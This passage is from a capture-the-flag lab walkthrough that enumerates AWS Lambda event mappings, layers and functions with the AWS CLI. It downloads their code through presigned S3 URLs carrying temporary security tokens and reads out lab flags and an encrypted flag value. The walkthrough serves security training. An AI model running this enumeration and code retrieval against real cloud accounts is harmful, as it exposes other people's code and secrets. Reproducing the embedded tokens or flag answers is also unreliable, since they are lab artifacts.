      "UUID": "0f9e3e2c-c10c-4286-aaf3-06b17daa21bc",
      "BatchSize": 100,
      "MaximumBatchingWindowInSeconds": 0,
      "ParallelizationFactor": 1,
      "EventSourceArn": "arn:aws:dynamodb:ap-southeast-1:276384657722:table/AllowedUser/stream/2020-11-05T22:14:21.378",
      "FunctionArn": "arn:aws:lambda:ap-southeast-1:276384657722:function:Monitor",
      "LastModified": 1604614980.0,
      "LastProcessingResult": "PROBLEM: Function call failed",
      "State": "Enabled",
      "StateTransitionReason": "User action",
      "DestinationConfig": {
        "OnFailure": {}
      },
      "MaximumRecordAgeInSeconds": -1,
      "BisectBatchOnFunctionError": false,
      "MaximumRetryAttempts": -1
    }
  ]
}
```

root@attackdefense:~#

The event source ARN is

"arn:aws:dynamodb:ap-southeast-1:276384657722:table/AllowedUser/stream/2020-11-05T22:14:21.378"

ServerlessFLAG4:

arn:aws:dynamodb:ap-southeast-1:276384657722:table/AllowedUser/stream/2020-11-05T22:14:21.378

Step 25: Check whether there are any layers.

Command: aws lambda list-layers

```
root@attackdefense:~# aws lambda list-layers
{
  "Layers": [
    {
      "LayerName": "FileUploaderLayer",
      "LayerArn": "arn:aws:lambda:ap-southeast-1:276384657722:layer:FileUploaderLayer",
      "LatestMatchingVersion": {
        "LayerVersionArn": "arn:aws:lambda:ap-southeast-1:276384657722:layer:FileUploaderLayer:5",
        "Version": 5,
        "CreateDate": "2020-11-05T23:58:25.359+0000",
        "CompatibleRuntimes": [
          "nodejs12.x"
        ]
      }
    }
  ]
}
root@attackdefense:~#
```

There is one layer named "FileUploaderLayer" with 5 versions.

Step 26: Check each version of the layer "FileUploaderLayer".

A specific version of layer can be extracted by mentioning the version number at the end of ARN.

For e.g. if the layer arn is

"arn:aws:lambda:ap-southeast-1:276384657722:layer:FileUploaderLayer".

Version 2 of the layer can be retrieved by adding ":2" at the end of Layer ARN.

Layer v2 ARN: arn:aws:lambda:ap-southeast-1:276384657722:layer:FileUploaderLayer:2

Command: aws lambda get-layer-version-by-arn --arn

arn:aws:lambda:ap-southeast-1:276384657722:layer:FileUploaderLayer:2

```

root@attackdefense:~# aws lambda get-layer-version-by-arn --arn arn:aws:lambda:ap-southeast-1:276384657722:layer:FileUploaderLayer:2
{
  "Content": {
    "Location": "https://awslambda-ap-se-1-layers.s3.ap-southeast-1.amazonaws.com/snapshots/276384657722/FileUploaderLayer-81369cdc-0070-4557-bbf8-dba1dd740612?versionId=7AK0aF5kHWP.3m5ebAQGWJ7x_ejpuMeA&X-Amz-Security-Token=IQoJb3JpZ2luX2VjEAEaDmFwLXNvdXRoZWZkdC0xIkcwRQIhAJNww7JPfn78Aho8tYz%2FoABrhWyvalcP%2BS9UeGT2a3jPAiBgUzJ%2FYFYrU60YHSoYgJC0D55GyiV1n8B%2Beu6jBNxUSq%2BAwhqEAMaDDI5NTMzODcwMzU4MyIMiZuV%2Bvoe3CnxUuLfKpsDoMCnde7dBm5gylc5wn40gbJ5ldvAWjIBhrkwktccLc%2F9xAX3pqQr3SS1ijavL2jsF%2FkBiTtDHTD0oqI9CMf7Vgc0%2BiF0es%2FfPaUL%2BRnKErPu%2BD1b%2FfTyU0jEYmr9WfAjuBvcTVSIujZ9JpYIuzkbz%2Bvz855QWp0QNmmqtF0KxpKqA0SGNFqSsbqmJnm9F54j4uYpCzthU9VLwiIldxUQoUcAqtGKWhanaIjcCNZjQkdz8ZX2qPDSsTH%2BdsxV80%2BR03MGH%2BFAccfuKppP4V3APZmRWD41t%2BFz1J9kkHLnf%2Fidw92tNYV0K%2BK%2Fkh%2FvxxJT%2FDIt0jVZEqh0U076wmqJP9%2FRKr7HxzXcGARVCqrM79WkSLuSK%2BNJjDb5N4wDdcvH7TXj9umF0JoBBAJrth3VC03PT3spMFpXXY%2B1XcFgTv1F10ilW7HER3aSrsvUcBWoYVYqcgDxWU62CWC3sSVchleqfb4ZeS%2FLGDcqB%2BSdmh9Drb%2BJw7Y8%2BBRL7ZF3FFTZ9fKbijuf2%2FVmGCR2HdcTp0GScr0VkpP8MI%2Bp%2F0F0usBVE6He8CQB1vFU0t6W7hT15rHWt60%2BeawfHKiISImZWB%2BEYHQWQj3llccjKKme2b5lDIawdVYTSYqwa1dNpT2T4o576T7j875zhTjs7eo7mf9gjs%2Fra4YM0Y8uUEgJZpEVLwaasMhJ14mgLZh8C7mz45EQVvR7z6%2BLSpmreHhTW5tLHEvkdj40pyHczgYRuPEsJtR30NdTL1DukWwR95fFSVSBKHgZGuBw1c5I16My%2BsU6B011CqNoC1luuTqQdKWjZqIO9X45Eu7zwQpDF32x0mSEV1FJaFEv728LUBMj3ZmncfqlrqCtAA%3D%3D&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Date=20201110T02227Z&X-Amz-SignedHeaders=host&X-Amz-Expires=600&X-Amz-Credential=ASIAUJQ407LP4J6F2QMX%2F20201110%2Fap-southeast-1%2Fs3%2Faws4_request&X-Amz-Signature=358dd714033aba363fe72afd29d63894b93ff9ee799b8d2bf862fee41e4e8f1a",
    "CodeSha256": "BMKaJqVEVA+Jr+l6ZnKwyJxt3japZAb2PzBft73W22c=",
    "CodeSize": 20889
  },
  "LayerArn": "arn:aws:lambda:ap-southeast-1:276384657722:layer:FileUploaderLayer",
  "LayerVersionArn": "arn:aws:lambda:ap-southeast-1:276384657722:layer:FileUploaderLayer:2",
  "Description": "",
  "CreatedDate": "2020-11-05T23:57:38.227+0000",
  "Version": 2,
  "CompatibleRuntimes": [
    "nodejs12.x"
  ]
}
root@attackdefense:~#

```

The Link to download the source code is present in the Location Attribute of Content section.

Step 27: Download the source code of the layer. Either click on the link or use the command mentioned below.

Note: The below given command requires the jq package.

Command: `wget "$(aws lambda get-layer-version-by-arn --arn arn:aws:lambda:ap-southeast-1:276384657722:layer:FileUploaderLayer:2 | jq .Content.Location -r)" -O source.zip`


```

root@attackdefense:~# wget "$(aws lambda get-layer-version-by-arn --arn arn:aws:lambda:ap-southeast-1:276384657722:layer:FileUploaderLayer:2 | jq .Content.Location -r)" -O source.zip
--2020-11-10 02:07:21-- https://awslambda-ap-se-1-layers.s3.ap-southeast-1.amazonaws.com/snapshots/276384657722/FileUpload
erLayer-81369cdc-0070-4557-bbf8-dba1dd740612?versionId=7AK0aF5kHWP.3m5ebAQGWJ7x_ejpuMeA&X-Amz-Security-Token=IQoJb3JpZ2luX2
VjEAIaDmFwLXNvdXRvZWFzdC0xIkgwRgThAN6LAjahTlUYCDr02QS6BWzXKGRvo%2BW4Y3BNw9Hu8aldAiEAqxbrRjk5XqkW8zJL6Le2N85M1CngSSxsMOTaoGT
F5yEqvgMIaxADGgwyOTUzMzg3MDM1ODMiDILMftxLFyDASLwpjSqba7Vv3j8B2m33pszf%2Bod5xrzflYuAF%2BbgFEEnKPZK7eo6BEwfoBbTYT1v63H3C4nBKkU
yQF68etZpXDWYyErPFULSKBu49Yxxac7Kh85577X1L7Er%2B2%2BAYMOZ8%2F1d4LWxT5dF7Nqaj3IhLe3q3N6DnE9gUvE3wBa9oFjdAcdvxf9ZH23sWD98oDBE
Trdq6%2BtFh%2F0q%2Fvbt6Nv4YLMaPucFzIBuGjx0FyWgQgcfhcR1SkQb61xvDpnrjBz00Yaj725TRcfp6ASLIiYFcNlFhFnZuAHc%2FXDwK5fQKaiVvs5w2e9
e2ttM0vqroG2Vt06L458dwVt7YNhuKczYsXXR5B0uPZ54i24VNIeD8P5jp9PxxPH0Zd79azLXNc%2BumXvFznA2YXM0oMVBZ6rHEE4kXzJnF4q8pSIwDIQD%2F
EhLnnZYUX1As9k87QGBV8IVQysx9NB036SMPtnB8pdKUYKnpjQw7KlmG7LYEineP7B7jbNsanPQH%2FMTJCKX6E3Rep8wIgrHG0AE2uSg%2BtCFUgIBa1zLU6N
04P2ha9V%2FCayfjCm5qf98TrqAWwsSqr fKKXtaMqpqgenpSLz6Tp3yLsY58F4s2Teo59ft4TF0EHTbf3A7IBNQLQEC%2B18FPLsr0ZKiUFgCws9ww%2BfoKqk
kNv%2BL7H5BT7EYeogVEMgh3G7X0Lg%2BzCG4p8bUBXxTGqbzKT5valySZE%2BRyrGpim2goEwdLMwjfReYQTGsXcudgX6BF0J09zkYp6pnzWuQsMq1q%2Fr56q
Kily0YA%2BRMP5dzLU0tEL0VsX1DLUCSwvDAYwwiqPluxwi0W%2FPmuzvtzCVQFc9C3vzDNBagx81sS2%2B0YZRhbMOKGf%2Bn6mqx2njCGb8MbpWw%3D%3D&X-
Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Date=20201110T020721Z&X-Amz-SignedHeaders=host&X-Amz-Expires=600&X-Amz-Credential=ASIA
UJQ407LPWZYXFXEC%2F20201110%2Fap-southeast-1%2Fs3%2Faws4_request&X-Amz-Signature=7e743be5139a9e6fe2d7622945927853580fee2334
5c57320307e71d080a0655
Resolving awslambda-ap-se-1-layers.s3.ap-southeast-1.amazonaws.com (awslambda-ap-se-1-layers.s3.ap-southeast-1.amazonaws.co
m)... 52.219.128.251
Connecting to awslambda-ap-se-1-layers.s3.ap-southeast-1.amazonaws.com (awslambda-ap-se-1-layers.s3.ap-southeast-1.amazonaw
s.com)|52.219.128.251|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 20899 (20K) [application/zip]
Saving to: 'source.zip'

source.zip                               100%[=====] 20.41K --.-KB/s   in 0.06s

2020-11-10 02:07:22 (365 KB/s) - 'source.zip' saved [20899/20899]

```

```

root@attackdefense:~#

```

Step 28: Extract the archive.

Command: unzip source.zip

```

root@attackdefense:~# unzip source.zip
Archive: source.zip
  creating: data/
  extracting: data/ServerlessFLAG5
  creating: nodejs/
  creating: nodejs/node_modules/
  creating: nodejs/node_modules/node-uuid/
  inflating: nodejs/node_modules/node-uuid/README.md
  inflating: nodejs/node_modules/node-uuid/bower.json
  inflating: nodejs/node_modules/node-uuid/component.json
  inflating: nodejs/node_modules/node-uuid/uuid.js
  creating: nodejs/node_modules/node-uuid/benchmark/
  inflating: nodejs/node_modules/node-uuid/benchmark/README.md
  inflating: nodejs/node_modules/node-uuid/benchmark/benchmark.js
  inflating: nodejs/node_modules/node-uuid/benchmark/bench.sh
  inflating: nodejs/node_modules/node-uuid/benchmark/benchmark-native.c
  inflating: nodejs/node_modules/node-uuid/benchmark/bench.gnu
  inflating: nodejs/node_modules/node-uuid/package.json
  creating: nodejs/node_modules/node-uuid/test/
  inflating: nodejs/node_modules/node-uuid/test/compare_v1.js
  inflating: nodejs/node_modules/node-uuid/test/test.html
  inflating: nodejs/node_modules/node-uuid/test/test.js
  creating: nodejs/node_modules/node-uuid/bin/
  inflating: nodejs/node_modules/node-uuid/bin/uuid
  inflating: nodejs/node_modules/node-uuid/LICENSE.md
  extracting: nodejs/node_modules/node-uuid/.npmignore
  creating: nodejs/node_modules/.bin/
  inflating: nodejs/node_modules/.bin/uuid
root@attackdefense:~#

```


The path of ServerlessFLAG5 is revealed.

Step 29: Retrieve ServerlessFLAG5

Command: cat data/ServerlessFLAG5

```
root@attackdefense:~#  
root@attackdefense:~# cat data/ServerlessFLAG5  
0a7b44abc6e76c992614f8acf6244040  
root@attackdefense:~#  
root@attackdefense:~#
```

ServerlessFLAG5: 0a7b44abc6e76c992614f8acf6244040

Step 30: ServerlessFLAG6 is the version of the package used by FileUploader Function. Get the source code Location of FileUploader function.

Command: aws lambda get-function --function-name FileUploader

```
root@attackdefense:~# aws lambda get-function --function-name FileUploader  
{  
  "Configuration": {  
    "FunctionName": "FileUploader",  
    "FunctionArn": "arn:aws:lambda:ap-southeast-1:276384657722:function:FileUploader",  
    "Runtime": "nodejs12.x",  
    "Role": "arn:aws:iam:276384657722:role/service-role/FileUploader-role-l5d0qcpv",  
    "Handler": "index.handler",  
    "CodeSize": 2496420,  
    "Description": "",  
    "Timeout": 3,  
    "MemorySize": 128,  
    "LastModified": "2020-11-06T00:22:11.016+0000",  
    "CodeSha256": "jgQzHUjD1Gh0fv9ghG4nYXqqLNWBn06L0JWB5ppVKt8=",  
    "Version": "$LATEST",  
    "Environment": {  
      "Variables": {  
        "KMSArn": "arn:aws:kms:ap-southeast-1:276384657722:key/42ff3c24-70f3-42bd-96db-d69792ec1b37",  
        "EncryptedServerlessFLAG7": "AQICAHi7+9ngknhMkz0sb+LYfPQqw30upegu4Y5dqgMw9JThIQEsuEXoJgp7K5CCZmy4DGHAAAAfj  
B8BgkqhkiG9w0BBwagbzBtAgEAMGgGCSqGSIb3DQEHAATAeBgIghkgBZQMEAS4wEQQMdjbjfhorkb6HMIG4AgEQgDuwWQVNCIcMu1GQgZdJUj/RG/4vaFedT8wFR  
KWEWTZz840M443vrn41/Qy5qypysm+3729SJ7sCj0fuGg==",  
        "BUCKET_NAME": "file-uploader-saved-files"  
      }  
    },  
    "TracingConfig": {  
      "Mode": "PassThrough"  
    }  
  },  
}
```

```

    },
    "RevisionId": "5861d192-3ecb-4d19-bfd2-5c43d76617a7",
    "Layers": [
      {
        "Arn": "arn:aws:lambda:ap-southeast-1:276384657722:layer:FileUploaderLayer:4",
        "CodeSize": 20563
      }
    ],
    "State": "Active",
    "LastUpdateStatus": "Successful"
  },
  "Code": {
    "RepositoryType": "S3",
    "Location": "https://awslambda-ap-se-1-tasks.s3.ap-southeast-1.amazonaws.com/snapshots/276384657722/FileUploader-f52b95aa-e196-46c2-a5b2-6acd8e4fe326?versionId=31D0y.aZnrTg4X73TLYA4KAmysJfEJG9&X-Amz-Security-Token=IQoJb3JpZ2luX2VjEAMaDmFwLXNvdXR0ZWFzdC0xIkgwRgIhAKnVsZn6lftTdy%2Bpd3q%2Fg1xMA16lmCjdko%2F20Z%2FyYT3VAiEAjuuqCVgdQVn5WQRrS5tRz%2BW7MPLzE1Kf7neNhvarxgqvqMIbBADGgwyOTUzMzg3MDM1ODMiDDfa15JnV%2B2MCq08pSqBAwYAbareh0QeAUtn5iPZLntyfWWC75NTXG2jQNYuCb%2F076CdMfyoznS2IM6n4zzipjfgM0%2BXty5QUHU0u34kjHqUze6mcmE2lvJX2QZcFvKaIRdCZC3GxSAZFEZPxP448P2gyAn0XmsAJnoq4w1NP3wNKGdG12ztrU%2Fw9NkbHQgerVvi52ILa%2BoC2dejNK4EwptnmJahnyhYTjs8peN2bZTjkyh7ttrwkhUhXM87OWNhGPAbCHt0Up908N0e7uziqJobeA4HBYgnEmq5ccRmXq461V0BjrIJPw0biBadk%2BsrV06t%2BH7hwqHDgJLiE%2BJL5DMWH9j4Zo0WQpEbPFDb2lPeqXF2bNWGNPjybNFTL10HBRh3ich4MldHHRqN1Ujq9B5gMyzfIBmj1V1w06AKLmtWZnGbVD3tI1uZv9GdKyeekNtbAuZhdS26qxnUdf5PM06J7KSequYVoAgXZ3L7UzB8H3oNgp8etWMJo7iYmbC3cgbvegmTYiCZP4zM%2BES59hFLq0783EG9LbN09Ds124m9%2FTPjpsYoI%2FFjDfgKj9BTrqAVRbzD3z0Kv00PLPYdKMquHnx27xG8Gr5dSPDWCiLHZ3ldNsSrrb%2Fxr7gzLJH1imSXV30WYmgRErvW0bSvr9GeQ2NruojFNE0vpJ8iwYub8zmqxylg4TpLxhTHLXqct7Klsog5Fn2%2Bzgwfed1d%2BLUGLAEjd9FeJLs5SJVO4cbLS9YPs3Za2qREicAZbdhICATWGL%2F6%2FLEIAINPYShx9kzaPPvxSnDNnz5dPYo0oMYdEgc9FJP9qDjbivIIjyHGfMGWg7HC5b%2BxMj77zTPF1D4QvYr5rsQenxtHtm0B535BAo3I9F7HIX0BBWw%3D%3D&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Date=20201110T033501Z&X-Amz-SignedHeaders=host&X-Amz-Expires=600&X-Amz-Credential=ASIAUJQ407LPVET7B6WE%2F20201110%2Fap-southeast-1%2Fs3%2Faws4_request&X-Amz-Signature=2e8a8d5165b74be192b74e72fbad437c07bf8186b0369e123a47d24cd1afdd35"
  }
}
root@attackdefense:~#

```

The FileUploader function is dependent upon version 4 of FileUploaderLayer layer. The Link to download the source code is present in the Location Attribute of Code section.

Encrypted ServerlessFLAG7:

AQICAHi7+9ngknhMkz0sb+LYfPQqw3Oupegu4Y5dqqMw9JThIQEsuEXoJgp7K5CCZmy4DGH
aAAAAfjB8BgkqhkiG9w0BBWagbzBtAgEAMGgGCSqGSIlb3DQEHATAeBgIghkgBZQMEAS4wE
QQMdjbjfhorkb6HMIG4AgEQgDuwWQVNCIcMu1GQgZdJUj/RG/4vaFEdT8wfRKWEWTZz84O
M443vrn41/Qy5qypysm+3729SJ7sCjOfuGg==

KMS ARN:

arn:aws:kms:ap-southeast-1:276384657722:key/42ff3c24-70f3-42bd-96db-d69792ec1b37

Step 31: Download the source archive. Either click on the link or use the command mentioned below.

Note: The below given command requires the jq package.

Command: `wget "$(aws lambda get-function --function-name FileUploader | jq .Code.Location -r)" -O source.zip`


```

root@attackdefense:~# wget "$(aws lambda get-function --function-name FileUploader | jq .Code.Location -r)" -O source.zip
--2020-11-10 02:17:33-- https://awslambda-ap-se-1-tasks.s3.ap-southeast-1.amazonaws.com/snapshots/276384657722/FileUploade
r-f52b95aa-e196-46c2-a5b2-6acd8e4fe326?versionId=31D0y.aZnrTg4X73TLVA4KAmysJfEJG9&X-Amz-Security-Token=IQoJb3JpZ2luX2VjEAEa
DmFwLXNvdXR0ZWFzdC0xIkcwRQIgVUgRXyM%2B7yzGHROXCMY%2FckjPaAVRJfV%2BHubU5hl8LC4CIQCfh6%2BTq4lNSs2ESjGWukBopP0%2FdnWHAKBPJZhZy
YoPiYq%2BAWhqEAMaDDI5NTMzODcwMzU4MyIMKN0oz7g1dRxdKp7KKpsDyaS%2F5Ir2K9ON01V7bQwUX1JPEYvWSI5CPNGv6fG2QPXrgWPDF%2BwiaXQPvzG89l
idX%2BpSYoLRAPtRCnQnLWjH179MnRWjTIKgzDccvLYDM9orEpfw6J5R2r4unYd6eBqafpG3D0i8gUsGq1s2U7V2n9kXwTn%2BbdL%2B3agzekjDJ5MYWog1tXH
epk5MFKZMWkws7aPAb18XcXIaerSuhGTccnf9YrC7hC4tI1DwyAcQY05mwkebv3FFNeyH31T%2BF4z1erx194cBz6EV7kFohc7Vx0DFRYnTlJwII8rkD%2Byy3o
F10ga5f1kpuQn594zUId7hBVahgfphZ1UTA8Vt%2F8c5anUvtyzDBKg3qLUuqGjXkGx1RnGm01HZh816MAs%2FFirxbeIndot13cg14p05wvGF8ELn4n2SLWz%2
FWim0U451wbSrF8TRK%2FUNET7LZUBYS5V44E3DJE6g5HLuK6z%2FKM%2FeaAvMc%2B8%2FiJ2RKhZi6Nr3NS7CjKPLtFiS53ak%2Fxt%2FX9CUpbRFMheZe4q7
V6%2Bdb6IIT5J9QuYFPNVjtBDEMPUp%2F0F0usB7d%2FdNiU0%2FksADjCwqrpZHjnBs7B0%2FRJverZHcAQ5JAIQ4%2FevY%2BexDSLNIin5lqb%2FRmC4844
oEMJAF4qeWKnXq2%2F9mH7nxfmPwY%2BZFTMuRUUVymk%2F0%2BvyaF20eQxltG0Cvb%2FBjNQL1lNUg9Cp5Hv58Wbdt6JXcMKvSwWcE6lJvMctJTq%2BMAif%2
BTJAe1eWB1lSoE2CAUqWvbbL0xMWQKKkrfr5LXQ58iyJVIihMCMtE%2Fvc2oFIFrEpYJIGvuB6wxuPU4TmAIONRxCc7t9w2i0m79rel%2BNSvjOJ55Kf%2BnJRF
L22fp2VxbpKzECcsQ%3D%3D&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Date=20201110T021733Z&X-Amz-SignedHeaders=host&X-Amz-Expires
=600&X-Amz-Credential=ASIAUJQ407LPTBOSIKUW%2F20201110%2Fap-southeast-1%2Fs3%2Faws4_request&X-Amz-Signature=ef5cf34610ab6deb
8c921be8e59cfd9f9e69a64df1345e927c7950a2b56864a
Resolving awslambda-ap-se-1-tasks.s3.ap-southeast-1.amazonaws.com (awslambda-ap-se-1-tasks.s3.ap-southeast-1.amazonaws.com)
... 52.219.36.47
Connecting to awslambda-ap-se-1-tasks.s3.ap-southeast-1.amazonaws.com (awslambda-ap-se-1-tasks.s3.ap-southeast-1.amazonaws.
com)|52.219.36.47|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2496420 (2.4M) [application/zip]
Saving to: 'source.zip'

source.zip                               100%[=====>]      2.38M  4.95MB/s   in 0.5s

2020-11-10 02:17:34 (4.95 MB/s) - 'source.zip' saved [2496420/2496420]

```

Step 32: Extract the archive.

Commands:

unzip source.zip

y

```

root@attackdefense:~# unzip source.zip
Archive: source.zip
  creating: bin/
  inflating: bin/catdoc
  inflating: bin/xls2csv
  inflating: bin/curl
  creating: bin/charsets/
  inflating: bin/charsets/cp863.txt
  inflating: bin/charsets/.cvsignore
  inflating: bin/charsets/mac-cyrillic.txt
  inflating: bin/charsets/cp874.txt
  inflating: bin/charsets/cp865.txt
  inflating: bin/charsets/ascii.specchars
  inflating: bin/charsets/cp866.txt
  inflating: bin/charsets/us-ascii.txt
  inflating: bin/charsets/cp860.txt
  inflating: bin/charsets/cp861.txt
  inflating: bin/charsets/cp852.txt
  inflating: bin/charsets/ascii.replchars
  inflating: bin/charsets/cp869.txt
  inflating: bin/charsets/8859-11.txt

```



```

inflating: bin/charsets/8859-13.txt
inflating: bin/charsets/8859-2.txt
inflating: bin/charsets/8859-8.txt
inflating: bin/catppt
  creating: lib/
inflating: lib/libcurl.so.4
inflating: lib/libssh2.so.1
inflating: lib/libssl3.so
inflating: lib/libldap-2.4.so.2
inflating: lib/libnghttp2.so.14
inflating: lib/libmime3.so
inflating: lib/liblber-2.4.so.2
inflating: lib/libidn2.so.0
inflating: lib/libnss3.so
inflating: lib/libmetalink.so.3
inflating: lib/libsassl2.so.3
inflating: lib/libcrypt.so.1
inflating: lib/libexpat.so.1
inflating: lib/libunistring.so.0
replace index.js? [y]es, [n]o, [A]ll, [N]one, [r]ename: y
  inflating: index.js
root@attackdefense:~#

```

Step 33: View index.js file.

Command: cat index.js

```

root@attackdefense:~# cat index.js
const child_process = require('child_process');
const uuid = require('node-uuid');
const AWS = require('aws-sdk');

AWS.config.update({ region: 'ap-southeast-1' });
var dynamodb = new AWS.DynamoDB();

exports.handler = async (event) => {
  let resourceUrl, username, password, txt;
  if (! (event.queryStringParameters && event.queryStringParameters.resourceUrl !== null && event.queryStringParameters.username !== null && event.queryStringParameters.password !== null)) {
    const response = {
      'statusCode': 200,
      'body': "One of the required parameter is missing"
    };
    return response;
  }
  resourceUrl = event.queryStringParameters.resourceurl;
  username=event.queryStringParameters.username
  password=event.queryStringParameters.password

  let status="ok"

  var docClient = new AWS.DynamoDB.DocumentClient();

  var params = {
    ProjectionExpression: "username, password",
    FilterExpression: "username = :username AND password = :password",
    ExpressionAttributeValues: {
      ':username': {'S': username},
      ':password': {'S': password}
    },
  },

```

There is no package.json file. The index.js file reveals that the function is dependent on the external package "node-uuid".

Step 34: Since the function is dependent on version 4 of the FileUploaderLayer layer, download the layer and check its content.

Command: aws lambda get-layer-version-by-arn --arn
arn:aws:lambda:ap-southeast-1:276384657722:layer:FileUploaderLayer:4

```
root@attackdefense:~# aws lambda get-layer-version-by-arn --arn arn:aws:lambda:ap-southeast-1:276384657722:layer:FileUploaderLayer:4
{
  "Content": {
    "Location": "https://aws-lambda-ap-se-1-layers.s3.ap-southeast-1.amazonaws.com/snapshots/276384657722/FileUploaderLayer-93590fc6-94e4-4af0-9db1-3bd9d1fc0e35?versionId=U.tfsPJdjC0PIG6l1trh6jUtw2lKzEPs&X-Amz-Security-Token=IQoJb3JpZ2luX2VjEAQaDmFwLXNvdXRoc2FzdC0xIkcwRQIgYGY5rIhpWcp2WQFNop8dpJc5ATcAFjkkxDmhgG%2BT0iXQCIQD%2FcXc0fQuaYJ0f6VvYnKFj97C7R4mReWgevYtJt2NtdSsq%2BAwHsEAMaDDI5NTMzODcwMzU4MyIM4lFslFntTsKxcmY%2FKpsDW6%2FgnJXImL7IMyj%2FisBt1Fv3M2R6bGTn12u9QFWRYgIGpdjsEP0ppmCkIs1LLgYSrb5GyzxLxG0RJYV0U1AsQAfnSEjVvkMIfbBUdiNpc8K7JCKU9dldh2umGe9HozQ%2Fb23Jlcnkwvbpqief%2FofnmZq1Sjn7eTxAi5z3y%2FQsYQ8iZQyizIQw9aHvTho5fZEQAPl8PX9MZ%2B%2FhUBB4JyFWZoA3oWHuUEmHLuCls0KJpvklzidy78m7RdLbR2eN1B2LNzv5EGII8Ha0yplYR%2FjmJKIDRWEUVmTRTH2fRt53eWR4mLg%2FmgCzOXJno67UAtnM6HdJ6qg0yKPK%2BmfKL6xoXlmVwvgSgLBLuxsyEEUx77qgexIZD2iqJFee2%2By%2BDDXYv42P5wLn67o4LWKt%2FDrJBfIee3SdYoRMygTW%2BBEPiAQThZxnN60QtA6No0%2FBXaWCL5kChLhBCJGq8S6wUgezIdMTPWq%2FLEnLiu9KBfeI9BqI35WK18ImGuMRXoEuNFyPhL4%2FRJf1HIxOT8pem3Dc3MqQ1oF4xHY9MMiedqP0F0usBKfWThkFLQ6l0iPhrjlgJh4UIIFxL1sTA5keZ%2Bh324ZahWodQ0UwEP%2Bt%2BmLo8HMoLEyQgeJ3lJd26QxVUT2fqlmVyIALN%2BKKebtyKwL03dzcZS0IPuTzS13Ml6yHuCDugH%2BG%2Bnko65GYrs4gUvieJ%2BpYqV3ySwq4fkKwx0aJdNc7neY3Qh0imKT2cNp9I4Rn1JhAaGKTLcDybhVMUqkRMcmjyfpPBil54ws3uv3AKaWBSv2keCdzFaTNy4Mz1L8oiZogJjdedyRsmVzVd%2BmU2Nxi41eybk%2F8HftVeIBBmhJq0fP4nUFQh3w%3D%3D&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Date=20201110T044319Z&X-Amz-SignedHeaders=host&X-Amz-Expires=600&X-Amz-Credential=ASIAUJQ407LPR5D23EEX%2F20201110%2Fap-southeast-1%2Fs3%2Faws4_request&X-Amz-Signature=09ab243b9cb1b6b0d2e26e79d0181630e76a69d9722c655f349588dcf79cdb39",
    "CodeSha256": "ZRFAu5BRT7McXD9CNkzWe7JPMit01J0oFf2iIGtcow4=",
    "CodeSize": 20563
  },
  "LayerArn": "arn:aws:lambda:ap-southeast-1:276384657722:layer:FileUploaderLayer",
  "LayerVersionArn": "arn:aws:lambda:ap-southeast-1:276384657722:layer:FileUploaderLayer:4",
  "Description": "",
  "CreateDate": "2020-11-05T23:58:06.541+0000",
  "Version": 4,
  "CompatibleRuntimes": [
    "nodejs12.x"
  ]
}
```

The Link to download the source code is present in the Location Attribute of Content section.

Step 35: Download the source code of the layer. Either click on the link or use the command mentioned below. To avoid overwriting of file, create a new directory "layer-v4"

Note: The below given command requires the jq package.

Commands:

```
mkdir layer-v4
cd layer-v4
wget "$(aws lambda get-layer-version-by-arn --arn
arn:aws:lambda:ap-southeast-1:276384657722:layer:FileUploaderLayer:4 | jq .Content.Location
-r)" -O source.zip
```

Step 36: Extract the archive.

Command: unzip source.zip

```
root@attackdefense:~/layer-v4# unzip source.zip
Archive:  source.zip
  creating: nodejs/
  creating: nodejs/node_modules/
  creating: nodejs/node_modules/node-uuid/
 inflating: nodejs/node_modules/node-uuid/README.md
 inflating: nodejs/node_modules/node-uuid/bower.json
 inflating: nodejs/node_modules/node-uuid/component.json
 inflating: nodejs/node_modules/node-uuid/uuid.js
  creating: nodejs/node_modules/node-uuid/benchmark/
 inflating: nodejs/node_modules/node-uuid/benchmark/README.md
 inflating: nodejs/node_modules/node-uuid/benchmark/benchmark.js
 inflating: nodejs/node_modules/node-uuid/benchmark/bench.sh
 inflating: nodejs/node_modules/node-uuid/benchmark/benchmark-native.c
 inflating: nodejs/node_modules/node-uuid/benchmark/bench.gnu
 inflating: nodejs/node_modules/node-uuid/package.json
  creating: nodejs/node_modules/node-uuid/test/
 inflating: nodejs/node_modules/node-uuid/test/compare_v1.js
 inflating: nodejs/node_modules/node-uuid/test/test.html
 inflating: nodejs/node_modules/node-uuid/test/test.js
  creating: nodejs/node_modules/node-uuid/bin/
 inflating: nodejs/node_modules/node-uuid/bin/uuid
 inflating: nodejs/node_modules/node-uuid/LICENSE.md
 extracting: nodejs/node_modules/node-uuid/.npmignore
  creating: nodejs/node_modules/.bin/
 inflating: nodejs/node_modules/.bin/uuid
root@attackdefense:~/layer-v4#
```

Step 37: Read the package.json file of the package.

Command: cat nodejs/node_modules/node-uuid/package.json


```
root@attackdefense:~/layer-v4#  
root@attackdefense:~/layer-v4# cat nodejs/node_modules/node-uuid/package.json  
{  
  "_args": [  
    [  
      "node-uuid@3.0.0",  
      "/root/serverless"  
    ]  
  ],  
  "_from": "node-uuid@3.0.0",  
  "_id": "node-uuid@3.0.0",  
  "_inBundle": false,  
  "_integrity": "sha1-MZu3pW58tj8AtcDNeFHNS03fHfk=",  
  "_location": "/node-uuid",  
  "_phantomChildren": {},  
  "_requested": {  
    "type": "version",  
    "registry": true,  
    "raw": "node-uuid@3.0.0",  
    "name": "node-uuid",  
    "escapedName": "node-uuid",  
    "rawSpec": "3.0.0",  
    "saveSpec": null,  
    "fetchSpec": "3.0.0"  
  },  
  "_requiredBy": [  
    "/"  
  ],  
  "_resolved": "https://registry.npmjs.org/node-uuid/-/node-uuid-3.0.0.tgz",
```

The version of the node-uuid package used by FileUploader Function is 3.0.0

ServerlessFLAG6: 3.0.0

Step 38: View the source of FileUploader Function (same as step 33)

Commands:

```
cd ..  
cat index.js
```

```

root@attackdefense:~# cat index.js
const child_process = require('child_process');
const uuid = require('node-uuid');
const AWS = require('aws-sdk');

AWS.config.update({ region: 'ap-southeast-1' });
var dynamodb = new AWS.DynamoDB();

exports.handler = async (event) => {
  let resourceUrl, username, password, txt;
